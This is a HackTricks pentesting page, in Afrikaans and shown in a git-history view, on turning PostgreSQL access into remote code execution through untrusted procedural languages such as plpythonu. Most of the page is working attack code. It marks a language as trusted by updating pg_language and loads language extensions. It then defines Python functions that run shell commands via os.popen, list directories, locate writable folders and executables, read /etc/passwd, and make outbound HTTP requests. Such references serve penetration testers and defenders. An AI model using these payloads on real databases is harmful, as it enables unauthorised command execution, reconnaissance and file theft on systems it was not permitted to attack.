hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md

305 lines
9 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# RCE met PostgreSQL Tale
2022-11-03 18:57:14 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-11-03 18:57:14 +00:00
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-11-03 18:57:14 +00:00
</details>
2024-02-11 02:07:06 +00:00
## PostgreSQL Tale
2022-11-03 18:57:14 +00:00
2024-02-11 02:07:06 +00:00
Die PostgreSQL-databasis waarop jy toegang het, kan verskillende **skripsietale geïnstalleer** hê wat jy kan misbruik om **arbitrêre kode uit te voer**.
2022-11-03 18:57:14 +00:00
2024-02-11 02:07:06 +00:00
Jy kan **hulle laat loop**:
2022-11-03 18:57:14 +00:00
```sql
2022-12-20 18:10:20 +00:00
\dL *
2022-11-08 23:28:51 +00:00
2022-11-03 18:57:14 +00:00
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
2024-02-11 02:07:06 +00:00
Die meeste skript tale wat jy in PostgreSQL kan installeer het **2 smake**: die **vertroude** en die **onvertroude**. Die **onvertroude** sal 'n naam hê wat **eindig met "u"** en dit sal die weergawe wees wat jou in staat stel om **kode uit te voer** en ander interessante funksies te gebruik. Hier is tale wat interessant kan wees as dit geïnstalleer is:
2022-11-03 18:57:14 +00:00
* **plpythonu**
2022-11-03 20:00:21 +00:00
* **plpython3u**
* **plperlu**
* **pljavaU**
2022-11-03 18:57:14 +00:00
* **plrubyu**
2024-02-11 02:07:06 +00:00
* ... (enige ander programmeringstaal wat 'n onveilige weergawe gebruik)
2022-11-03 18:57:14 +00:00
2022-11-03 20:03:24 +00:00
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
As jy vind dat 'n interessante taal **geïnstalleer** is, maar **onvertroude** deur PostgreSQL (**`lanpltrusted`** is **`false`**), kan jy probeer om dit **te vertrou** met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:
2022-11-03 18:57:14 +00:00
```sql
2022-11-03 20:00:21 +00:00
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
2022-12-20 15:51:45 +00:00
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
2022-11-03 18:57:14 +00:00
```
2022-11-03 20:03:24 +00:00
{% endhint %}
2022-12-20 18:10:20 +00:00
{% hint style="danger" %}
2024-02-11 02:07:06 +00:00
As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (**jy moet superadmin wees**):
2022-12-20 18:10:20 +00:00
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
2024-02-11 02:07:06 +00:00
{% tabs %}
{% tab title="RCE" %}
2022-12-20 18:10:20 +00:00
2024-02-11 02:07:06 +00:00
Merk op dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk [**hierdie**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) vir 'n voorbeeld. Dit is dus altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs as jy slegs die **vertroude** een vind.
2022-11-03 18:57:14 +00:00
2022-11-03 20:00:21 +00:00
## plpythonu/plpython3u
2022-11-03 18:57:14 +00:00
{% tabs %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
2024-02-11 02:07:06 +00:00
{% tab title="Kry OS-gebruiker" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
return os.getlogin()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
2024-02-11 02:07:06 +00:00
{% tab title="Lys dir" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
2024-02-11 02:07:06 +00:00
{% tab title="Vind W-vouer" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
2024-02-11 02:07:06 +00:00
{% tab title="Vind Lêer" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
2024-02-11 02:07:06 +00:00
{% tab title="Vind uitvoerbare lêers" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
2024-02-11 02:07:06 +00:00
{% tab title="Vind uitvoering deur subs" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
2024-02-11 02:07:06 +00:00
{% tab title="Lees" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
2024-02-11 02:07:06 +00:00
{% tab title="Kry toestemmings" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
2024-02-11 02:07:06 +00:00
{% tab title="Versoek" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import urllib
r = urllib.urlopen(url)
return r.read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
from urllib import request
r = request.urlopen(url)
return r.read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
2022-11-03 19:12:25 +00:00
## pgSQL
2024-02-11 02:07:06 +00:00
Kyk na die volgende bladsy:
2022-11-08 21:47:24 +00:00
2022-11-03 19:12:25 +00:00
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
2022-11-08 21:47:24 +00:00
## C
2024-02-11 02:07:06 +00:00
Kyk na die volgende bladsy:
2022-11-08 21:47:24 +00:00
{% content-ref url="rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
2022-11-03 18:57:14 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-11-03 18:57:14 +00:00
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-11-03 18:57:14 +00:00
</details>